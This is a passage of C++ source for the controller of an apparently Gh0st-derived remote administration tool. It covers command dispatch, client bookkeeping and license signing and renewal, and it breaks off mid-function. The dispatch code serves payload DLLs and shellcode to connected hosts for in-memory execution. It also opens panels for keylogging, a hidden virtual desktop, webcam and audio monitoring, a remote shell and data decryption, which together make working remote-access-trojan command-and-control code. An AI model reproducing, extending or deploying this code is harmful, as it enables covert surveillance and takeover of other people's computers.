            }
        } else {
            // C2C - 转发到目标客户端
            context* dstCtx = FindHost(query->dstClientID);
            if (dstCtx) {
                dstCtx->Send2Client(szBuffer, len);
                Mprintf("[V2] 转发续传查询: -> %llu\n", query->dstClientID);
            } else {
                Mprintf("[V2] 续传查询目标不在线: %llu\n", query->dstClientID);
            }
        }
        break;
    }
    case COMMAND_CLIPBOARD_V2: {
        // V2 剪贴板请求（C2C 触发）
        // 注意：C2C_PREPARE 已由 Ctrl+V 处理器发送，此处仅需转发
        ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
        Mprintf("[V2] C2C 剪贴板请求: src=%llu, dst=%llu, transferID=%llu\n",
            req->srcClientID, req->dstClientID, req->transferID);

        // 仅转发到源客户端（如果是从 Ctrl+V 处理器直接发送给远程桌面会话的，
        // 这里不会执行；如果是其他路径，这里会转发）
        context* srcCtx = FindHost(req->srcClientID);
        if (srcCtx) {
            srcCtx->Send2Client(szBuffer, len);
        }
        break;
    }
    case COMMAND_C2C_TEXT: {
        // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
        if (len < 13) break;  // 最小包长度
        uint64_t dstClientID;
        uint32_t textLen;
        memcpy(&dstClientID, szBuffer + 1, 8);
        memcpy(&textLen, szBuffer + 9, 4);

        Mprintf("[C2C] 文本转发: -> %llu (%u 字节)\n", dstClientID, textLen);

        // 转发到目标客户端
        context* dstCtx = FindHost(dstClientID);
        if (dstCtx) {
            dstCtx->Send2Client(szBuffer, len);
        } else {
            Mprintf("[C2C] 文本目标不在线: %llu\n", dstClientID);
        }
        break;
    }
    case COMMAND_FILE_COMPLETE_V2: {
        // V2 文件完成校验
        if (len < sizeof(FileCompletePacketV2)) break;
        FileCompletePacketV2* pkt = (FileCompletePacketV2*)szBuffer;

        if (pkt->dstClientID == 0) {
            // 目标是主控端：本地校验
            bool verifyOk = HandleFileCompleteV2((char*)szBuffer, len, 0);
            Mprintf("[V2] 文件校验%s: transferID=%llu, fileIndex=%u\n",
                verifyOk ? "通过" : "失败", pkt->transferID, pkt->fileIndex);
        } else {
            // C2C：转发到目标客户端
            context* dstCtx = FindHost(pkt->dstClientID);
            if (dstCtx) {
                dstCtx->Send2Client(szBuffer, len);
                Mprintf("[V2] 转发校验包: -> %llu, transferID=%llu\n",
                    pkt->dstClientID, pkt->transferID);
            } else {
                Mprintf("[V2] 校验包目标不在线: %llu\n", pkt->dstClientID);
            }
        }
        break;
    }
    case TOKEN_GETVERSION: { // 获取版本【L】
        // TODO 维持心跳
        bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
        Buffer* bin = m_ServerBin[is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86];
        DllSendData dll = { TASK_MAIN, L"ServerDll.dll", is64Bit, bin->length()-6 };
        BYTE *resp = new BYTE[1 + sizeof(DllSendData) + dll.DataSize];
        resp[0] = 0;
        memcpy(resp+1, &dll, sizeof(DllSendData));
        memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
        ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize);
        SAFE_DELETE_ARRAY(resp);
        break;
    }
    case CMD_AUTHORIZATION: { // 获取授权【L】
        int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
        if (n < 100) break;
        // 扩大到 400 字节以容纳 V2 签名（约 92 字节）和 Authorization（约 150 字节）
        char resp[400] = { 0 }, *devId = resp + 5, *pwdHash = resp + 32;
        ContextObject->InDeCompressedBuffer.CopyBuffer(resp, min(n, sizeof(resp)), 0);
        unsigned short* days = (unsigned short*)(resp + 1);
        unsigned short* num = (unsigned short*)(resp + 3);
        BYTE msg[12] = {};
        memcpy(msg, resp, 5);
        memcpy(msg+8, resp+96, 4);
        uint32_t now = clock();
        uint32_t tm = *(uint32_t*)(resp + 96);
        if (now < tm || now - tm > 30000) {
            Mprintf("Get authorization timeout[%s], devId: %s, pwdHash:%s", ContextObject->GetPeerName().c_str(),
                    devId, pwdHash);
            break;
        }
        uint64_t signature = *(uint64_t*)(resp + 24);
        if (devId[0] == 0 || pwdHash[0] == 0 || !VerifyMessage(m_superPass, msg, sizeof(msg), signature)) {
            Mprintf("Get authorization failed[%s], devId: %s, pwdHash:%s\n", ContextObject->GetPeerName().c_str(),
                    devId, pwdHash);
            break;
        }
        char hostNum[10] = {};
        sprintf(hostNum, "%04d", *num);
        // 密码形式：20250209 - 20350209: SHA256: HostNum
        std::string hash = std::string(pwdHash, pwdHash+64);
        std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + hash + ": " + hostNum;
        std::string deviceID(devId, devId+19);
        std::string finalKey = deriveKey(password, deviceID);
        std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + "-" + hostNum +
                               std::string("-") + getFixedLengthID(finalKey);
        memcpy(devId, fixedKey.c_str(), fixedKey.length());
        devId[fixedKey.length()] = 0;

        // 检查该设备原授权是 V1 还是 V2
        std::string origPasscode, origHmac, origRemark;
        bool isV2 = false;
        if (LoadLicenseInfo(deviceID, origPasscode, origHmac, origRemark)) {
            isV2 = (origHmac.length() >= 3 && origHmac.substr(0, 3) == "v2:");
        }

        std::string hmac;
        if (isV2) {
            // V2 续期：使用 ECDSA 签名
            std::string privateKeyPath = m_v2KeyPath;
            if (!privateKeyPath.empty()) {
                hmac = signPasswordV2(deviceID, fixedKey, privateKeyPath.c_str());
                if (hmac.empty()) {
                    Mprintf("V2 续期签名失败: %s\n", deviceID.c_str());
                    // 降级到 V1
                    uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
                    hmac = std::to_string(pwdHmac);
                }
            } else {
                Mprintf("V2 私钥未配置，无法续期 V2 授权: %s\n", deviceID.c_str());
                // 降级到 V1
                uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
                hmac = std::to_string(pwdHmac);
            }
        } else {
            // V1 续期：使用 HMAC
            uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
            hmac = std::to_string(pwdHmac);
        }

        memcpy(resp + 64, hmac.c_str(), hmac.length());
        resp[64+hmac.length()] = 0;

        // 构建 Authorization（多层授权）- 让下级主控知道向谁进行授权校验
        // 注意：isV2Auth 判断的是当前服务端是否是授权服务器（有 V2 私钥），而非被授权设备的原授权类型
        bool isV2Auth = !m_v2KeyPath.empty();
        std::string authStr = BuildAuthorizationResponse(deviceID, fixedKey, hash, isV2Auth);
        size_t authOffset = 64 + hmac.length() + 1;  // hmac 后的 null 终止符之后
        if (!authStr.empty() && authOffset + authStr.length() + 1 < sizeof(resp)) {
            memcpy(resp + authOffset, authStr.c_str(), authStr.length() + 1);
            Mprintf("[CMD_AUTH] 发送授权响应: deviceID=%s, passcode=%s, auth=%zu bytes\n",
                    deviceID.c_str(), fixedKey.c_str(), authStr.length());
        } else {
            Mprintf("[CMD_AUTH] 发送授权响应: deviceID=%s, passcode=%s (无 Authorization)\n",
                    deviceID.c_str(), fixedKey.c_str());
        }
        ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));

        // 注意：不在这里清除预设续期记录
        // 因为这里的 deviceID 来自请求包（客户端硬件ID），和心跳中的 SN（授权SN）可能不同
        // 预设续期已在 SendPendingRenewal 发送触发包后清除（使用正确的 SN）

        Sleep(20);
        break;
    }
    case CMD_EXECUTE_DLL: { // 请求DLL（执行代码）【L】
        case CMD_EXECUTE_DLL_NEW:
            DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
            if (std::string(info->Name) == TINY_DLL_NAME) {
                auto tinyRun = ReadTinyRunDll(info->Pid);
                Buffer* buf = tinyRun->Data;
                ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length());
                SAFE_DELETE(tinyRun);
                break;
            } else if (std::string(info->Name) == FRPC_DLL_NAME) {
                auto frpc = ReadFrpcDll(info->CallType);
                Buffer* buf = frpc->Data;
                // 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段，需要保留
                if (cmd == CMD_EXECUTE_DLL_NEW) {
                    DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
                    memcpy(p->Parameters, ((DllExecuteInfoNew*)info)->Parameters, sizeof(p->Parameters));
                }
                ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
                SAFE_DELETE(frpc);
                break;
            }
            for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
                DllInfo* dll = *i;
                if (dll->Name == info->Name) {
                    // TODO 如果是UDP，发送大包数据基本上不可能成功
                    ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
                    break;
                }
            }
            auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
            if (dll) {
                Buffer* buf = dll->Data;
                ContextObject->Send2Client(buf->Buf(), dll->Data->length());
                SAFE_DELETE(dll);
            }
            Sleep(20);
            break;
        }
    case COMMAND_PROXY: { // 代理映射【x】
        g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_HEARTBEAT:
    case 137: // 心跳【L】
        g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
        break;
    case SOCKET_DLLLOADER: {// 请求DLL【L】
        auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
        bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
        int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
        bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
        char version[12] = {};
        ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);

        std::string clientIP = ContextObject->GetPeerName();
        BOOL send = FALSE;

        // 检查是否被限流（只限制真实发送 DLL 的请求）
        if (IsDllRequestLimited(clientIP)) {
            Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
                    clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
        } else {
            send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
            if (send) {
                RecordDllRequest(clientIP);  // 只有真正发送了才记录
            }
            Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
                    clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
        }
        break;
    }
    case COMMAND_BYE: { // 主机下线【L】
        CancelIo((HANDLE)ContextObject->sClientSocket);
        closesocket(ContextObject->sClientSocket);
        Sleep(10);
        break;
    }
    case TOKEN_DRAWING_BOARD: { // 远程画板【x】
        g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_DRIVE_LIST_PLUGIN: { // 文件管理【x】
        ContextObject->EnableZstdContext(6);
        g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
        ContextObject->SetNoDelay(TRUE);
        ContextObject->EnableZstdContext(-1);
        g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_SYSINFOLIST: { // 主机管理【x】
        g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_CHAT_START: { // 远程交谈【x】
        g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_DECRYPT: { // 解密数据【x】
        g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_KEYBOARD_START: {// 键盘记录【x】
        g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_LOGIN: { // 上线包【L】
        g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_BITMAPINFO: { // 远程桌面【x】
        ContextObject->SetNoDelay(TRUE);
        ContextObject->EnableZstdContext(-1);
        g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_DRIVE_LIST: { // 文件管理【x】
        ContextObject->EnableZstdContext(6);
        g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_TALK_START: { // 发送消息【x】
        g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_SHELL_START: { // Windows 远程终端
        g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_TERMINAL_START: { // Linux PTY 终端 (WebView2 + xterm.js)
        // 检查 WebView2 和 DLL，都满足则使用现代终端，否则退化到经典终端
        if (IsWebView2Available() && LoadTerminalModule()) {
            g_2015RemoteDlg->SendMessage(WM_OPENTERMINALDIALOG, 0, (LPARAM)ContextObject);
        } else {
            g_2015RemoteDlg->PostMessageA(WM_SHOWMESSAGE, 
                (WPARAM)new CharMsg("To use Modern Terminal - WebView2 and TerminalModule.dll are required"), NULL);
            g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
        }
        break;
    }
    case TOKEN_WSLIST:  // 窗口管理【x】
    case TOKEN_PSLIST: { // 进程管理【x】
        g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_AUDIO_START: { // 语音监听【x】
        g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_REGEDIT: { // 注册表管理【x】
        g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_SERVERLIST: { // 服务管理【x】
        g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
        g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
        break;
    }
    case CMD_PADDING: { // 随机填充
        Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->GetPeerName().c_str(), cmd, len);
        break;
    }
    default: {
        Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->GetPeerName().c_str(), cmd, len);
        if (cmd == TOKEN_NEXTSCREEN) {
            ContextObject->CancelIO(); // 远程桌面可能关闭了，收到后直接断开连接，避免占用网络带宽
        }
    }
    }
    auto duration = clock() - tick;
    if (duration > 100) {
        Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->GetPeerName().c_str(), cmd, duration);
    }
}

LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
{
    CString strIP,  strAddr,  strPCName, strOS, strCPU, strVideo, strPing;
    CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //注意这里的  ClientContext  正是发送数据时从列表里取出的数据

    if (ContextObject == NULL || isClosed) {
        return -1;
    }

    try {
        strIP = ContextObject->GetPeerName().c_str();
        // 不合法的数据包
        if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
            Mprintf("*** Received [%s] invalid login data! ***\n", strIP.GetString());
            return -1;
        }

        LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
        ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);

        auto curID = GetMasterId();
        ContextObject->MasterID = LoginInfor->szMasterID[0] ? LoginInfor->szMasterID : curID;
        if (ContextObject->MasterID != curID) {
            Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
        }

        //主机名称
        strPCName = LoginInfor->szPCName;

        //版本信息
        strOS = LoginInfor->OsVerInfoEx;

        //CPU
        if (LoginInfor->dwCPUMHz != -1) {
            strCPU.FormatL("%dMHz", LoginInfor->dwCPUMHz);
        } else {
            strCPU = "Unknown";
        }

        //网速
        strPing.FormatL("%d", LoginInfor->dwSpeed);

        strVideo = m_settings.DetectSoftware ? _TR("无") : LoginInfor->bWebCamIsExist ? _TR("有") : _TR("无");

        strAddr.FormatL("%d", ContextObject->GetPort());
        auto v = LoginInfor->ParseReserved(RES_MAX);
        AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
        delete LoginInfor;
        return S_OK;
    } catch(...) {
        Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
    }
    return -1;
}


// 根据列表显示索引获取 context（考虑分组过滤）
context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
{
    if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
        return nullptr;
    }
    size_t realIdx = m_FilteredIndices[iItem];
    if (realIdx >= m_HostList.size()) {
        return nullptr;
    }
    return m_HostList[realIdx];
}

// 从 m_HostList 中移除 context 并更新索引映射
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
{
    if (!ctx) return false;
    uint64_t clientID = ctx->GetClientID();
    // 通知 Web 服务（批量通知，由定时器触发）
    if (WebService().IsRunning()) {
        WebService().MarkDeviceOffline(clientID);
    }

    // 方案1：通过索引快速查找（如果索引有效且匹配）
    auto indexIt = m_ClientIndex.find(clientID);
    if (indexIt != m_ClientIndex.end()) {
        size_t idx = indexIt->second;
        if (idx < m_HostList.size() && m_HostList[idx] == ctx) {
            // 索引有效且指向正确的 context
            m_HostList.erase(m_HostList.begin() + idx);
            m_ClientIndex.erase(indexIt);
            // 更新后续元素的索引
            for (size_t i = idx; i < m_HostList.size(); ++i) {
                context* c = m_HostList[i];
                if (c) {
                    m_ClientIndex[c->GetClientID()] = i;
                }
            }
            return true;
        }
    }

    // 方案2：索引不存在或不匹配，遍历查找（处理重复 ID 的情况）
    for (size_t i = 0; i < m_HostList.size(); ++i) {
        if (m_HostList[i] == ctx) {
            m_HostList.erase(m_HostList.begin() + i);
            // 如果索引指向的是被删除的元素，也删除索引
            if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
                m_ClientIndex.erase(indexIt);
            }
            // 更新后续元素的索引
            for (size_t j = i; j < m_HostList.size(); ++j) {
                context* c = m_HostList[j];
                if (c) {
                    m_ClientIndex[c->GetClientID()] = j;
                }
            }
            return true;
        }
    }
    return false;
}

LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{
    // OfflineProc already removed context from m_HostList/m_PendingOnline and added to m_PendingOffline.
    // The context data is passed via heap-allocated OfflineInfo struct.
    OfflineInfo* info = (OfflineInfo*)wParam;
    if (!info) {
        return S_OK;
    }

    // Show offline notification
    if (!info->ip.IsEmpty() && info->hasLogin) {
        ShowMessage(_TR("操作成功"), info->ip + " " + _TR("主机下线") + "[" + info->aliveInfo.c_str() + "]");
        Mprintf("%s 主机下线 [%s]\n", info->ip.GetString(), info->aliveInfo.c_str());
    }

    // Close child dialog window
    HWND p = info->hWnd;
    delete info;

    if (p && ::IsWindow(p)) {
        ::PostMessageA(p, WM_CLOSE, 0, 0);
    }

    return S_OK;
}

LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam)
{
    CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam;
    UpdateActiveWindow(ctx);

    return S_OK;
}

// 验证 passcode 格式前缀：YYYYMMDD-YYYYMMDD
// 例如：20260306-20270307-6666-be20-0a88-a4bc-7375
static bool IsValidPasscodeFormat(const char* passcode)
{
    if (!passcode || strlen(passcode) < 17) return false;  // 至少 "YYYYMMDD-YYYYMMDD"

    // 检查第一段：8位数字 (开始日期)
    for (int i = 0; i < 8; i++) {
        if (!isdigit((unsigned char)passcode[i])) return false;
    }

    // 检查分隔符
    if (passcode[8] != '-') return false;

    // 检查第二段：8位数字 (结束日期)
    for (int i = 9; i < 17; i++) {
        if (!isdigit((unsigned char)passcode[i])) return false;
    }

    return true;
}

// 构建 Authorization 响应（多层授权）
std::string CMy2015RemoteDlg::BuildAuthorizationResponse(const std::string& sn,
                                                          const std::string& passcode, const std::string& pwdHash, bool isV2Auth)
{
    std::string authStr;

    if (isV2Auth) {
        // V2 验证成功：授权服务器返回 Authorization 给第一层
        // 从保存的 Authorization 提取下级并发数，用 passcode 中的新日期重新生成
        std::string savedAuthObf = LoadLicenseAuthorization(sn);
        std::string savedAuth = savedAuthObf.empty() ? "" : TcpClient::DeobfuscateAuthorization(savedAuthObf);

        // 从 passcode 解析新日期: "20250101-20260101-0100-xxxx"
        auto passcodeParts = splitString(passcode, '-');
        if (passcodeParts.size() >= 3 && !m_v2KeyPath.empty()) {
            std::string newStartDate = passcodeParts[0];
            std::string newEndDate = passcodeParts[1];
            std::string authHostNum;  // Authorization 中的下级并发数

            std::string savedStartDate, savedEndDate;
            if (!savedAuth.empty()) {
                // 从保存的 Authorization 提取下级并发数: "startDate|endDate|hostNum|snHashPrefix|sig"
                auto authParts = splitString(savedAuth, '|');
                if (authParts.size() >= 3) {
                    savedStartDate = authParts[0];
                    savedEndDate = authParts[1];
                    authHostNum = authParts[2];  // 保持原有的下级并发数不变
                }
            }

            bool isNewAuth = authHostNum.empty();
            if (isNewAuth) {
                // 没有保存的 Authorization，使用 passcode 中的并发数作为下级并发数
                authHostNum = passcodeParts[2];
            }

            // 检查日期是否变化
            bool dateChanged = isNewAuth || (newStartDate != savedStartDate) || (newEndDate != savedEndDate);
            if (!dateChanged) {
                // 日期未变化，直接返回已保存的 Authorization
                return savedAuthObf;
            }

            // 用新日期 + 下级并发数 重新生成 Authorization
            std::string license = newStartDate + "|" + newEndDate + "|" + authHostNum;
            std::string snHashPrefix = computeSnHashPrefix(sn);
            std::string authSig = signAuthorizationV2(license, snHashPrefix, m_v2KeyPath.c_str());
            if (!authSig.empty()) {
                authStr = license + "|" + snHashPrefix + "|" + authSig;
                // 保存更新后的 Authorization 到 license.ini
                std::string authObfuscated = TcpClient::ObfuscateAuthorization(authStr);
                UpdateLicenseAuthorization(sn, authObfuscated);
                if (isNewAuth) {
                    Mprintf("V2 生成新 Authorization: %s (hostNum=%s)\n", sn.c_str(), authHostNum.c_str());
                } else {
                    Mprintf("V2 更新 Authorization 日期: %s → %s (hostNum=%s)\n",
                            savedEndDate.c_str(), newEndDate.c_str(), authHostNum.c_str());
                }
            }
        }
    } else {
        // V1 验证成功：第一层返回 Authorization 给下级
        // 注意：授权服务器（有 V2PrivateKey）不应返回 Authorization，因为它不是"第一层"
        if (m_v2KeyPath.empty()) {
            // 没有 V2 私钥，说明是第一层服务端，可以返回 Authorization
            return BuildV1Authorization(sn);
        }
    }

    // 返回混淆后的 Authorization（网络传输）
    return authStr.empty() ? "" : TcpClient::ObfuscateAuthorization(authStr);
}

// 生成续期信息
// 返回: (newPasscode, newHmac)，如果不需要续期则返回空字符串
std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
    const std::string& sn, const std::string& passcode,
    const std::string& pwdHash, bool isV2)
{
    std::pair<std::string, std::string> result;

    // 检查是否有预设续期
    RenewalInfo renewal = GetPendingRenewal(sn);
    if (!renewal.IsValid() || m_superPass.empty()) {
        return result;
    }

    // 检查当前到期时间是否小于预设到期时间
    std::string currentExpire = ParseExpireDateFromPasscode(passcode);
    if (currentExpire >= renewal.ExpireDate) {
        return result;  // 当前到期时间不小于预设到期时间，无需续期
    }

    // pwdHash 必须有效（64 字节）
    if (pwdHash.length() != 64) {
        Mprintf("GenerateRenewalInfo: pwdHash 长度无效 (%zu)\n", pwdHash.length());
        return result;
    }

    // 计算从今天到过期日期的天数
    int year = atoi(renewal.ExpireDate.substr(0, 4).c_str());
    int month = atoi(renewal.ExpireDate.substr(4, 2).c_str());
    int day = atoi(renewal.ExpireDate.substr(6, 2).c_str());
    CTime expireTime(year, month, day, 0, 0, 0);
    CTime now = CTime::GetCurrentTime();
    CTime today(now.GetYear(), now.GetMonth(), now.GetDay(), 0, 0, 0);
    CTimeSpan span = expireTime - today;
    int days = (int)span.GetDays();
    if (days <= 0) days = 1;

    // 生成新的 passcode
    char hostNum[10] = {};
    sprintf(hostNum, "%04d", renewal.HostNum);
    std::string password = getDateStr(0) + " - " + getDateStr(days) + ": " + pwdHash + ": " + hostNum;
    std::string finalKey = deriveKey(password, sn);
    std::string newPasscode = getDateStr(0) + "-" + getDateStr(days) + "-" + hostNum + "-" + getFixedLengthID(finalKey);

    // 生成新的 hmac
    std::string newHmac;
    if (isV2) {
        // V2 续期：使用 ECDSA 签名
        std::string privateKeyPath = m_v2KeyPath;
        if (!privateKeyPath.empty()) {
            newHmac = signPasswordV2(sn, newPasscode, privateKeyPath.c_str());
            if (newHmac.empty()) {
                Mprintf("V2 续期签名失败: %s\n", sn.c_str());
                // 降级到 V1
                uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
                newHmac = std::to_string(hmacVal);
            }
        } else {
            Mprintf("V2 私钥未配置，降级到 V1: %s\n", sn.c_str());
            uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
            newHmac = std::to_string(hmacVal);
        }
    } else {
        // V1 续期：使用 HMAC
        uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
        newHmac = std::to_string(hmacVal);
    }

    Mprintf("[TOKEN_AUTH] 生成续期: %s, %s -> %s, %d并发数, 配额剩余%d\n",
            sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum, renewal.Quota - 1);

    // 配额递减，配额用完后自动清除预设续期记录
    DecrementPendingQuota(sn);

    result.first = newPasscode;
    result.second = newHmac;
    return result;
}

// 统一的授权验证函数
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// 返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期（可用于续期）
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
    const std::string& sn, const std::string& passcode, uint64_t hmac,
    const std::string& hmacV2, const std::string& ip, const char* source)
{
    bool authorized = false;
    bool isV2 = false;
    bool isTrail = false;
    bool expired = false;

    if (hmac == 0 && !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:") {
        // V2 授权验证
        isV2 = true;
        authorized = AuthorizeClientV2(host, sn, passcode, hmacV2, &expired);
        if (authorized) {
            if (host) {
                m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
            }
            isTrail = IsTrail(passcode.c_str());
        }
        if (ShouldLogAuth(sn, authorized)) {
            if (authorized) {
                Mprintf("[%s] %s V2 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
                std::string tip = passcode + std::string(_L(" V2 授权成功: ")) + sn + "[" + ip + "]";
                PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
            } else {
                Mprintf("[%s] %s V2 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
                std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
                PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
            }
        }
    } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
        // V1 授权验证
        isV2 = false;
        authorized = AuthorizeClient(host, sn, passcode, hmac, &expired);
        if (authorized) {
            if (host) {
                m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
            }
            isTrail = IsTrail(passcode.c_str());
        }
        if (ShouldLogAuth(sn, authorized)) {
            if (authorized) {
                Mprintf("[%s] %s V1 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
                std::string tip = passcode + std::string(_L(" V1 授权成功: ")) + sn + "[" + ip + "]";
                PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
            } else {
                Mprintf("[%s] %s V1 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
                std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
                PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
            }
        }
    }

    return std::make_tuple(authorized, isV2, isTrail, expired);
}

// 检查并发送预设续期（多点验证）
void CMy2015RemoteDlg::SendPendingRenewal(CONTEXT_OBJECT* ctx, const std::string& sn,
                                          const std::string& passcode, const char* source)
{
    RenewalInfo renewal = GetPendingRenewal(sn);
    if (!renewal.IsValid() || m_superPass.empty()) {
        return;
    }

    std::string currentExpire = ParseExpireDateFromPasscode(passcode);
    if (currentExpire >= renewal.ExpireDate) {
        return;  // 当前到期时间不小于预设到期时间，无需续期
    }

    // 计算从今天到过期日期的天数
    int year = atoi(renewal.ExpireDate.substr(0, 4).c_str());
    int month = atoi(renewal.ExpireDate.substr(4, 2).c_str());
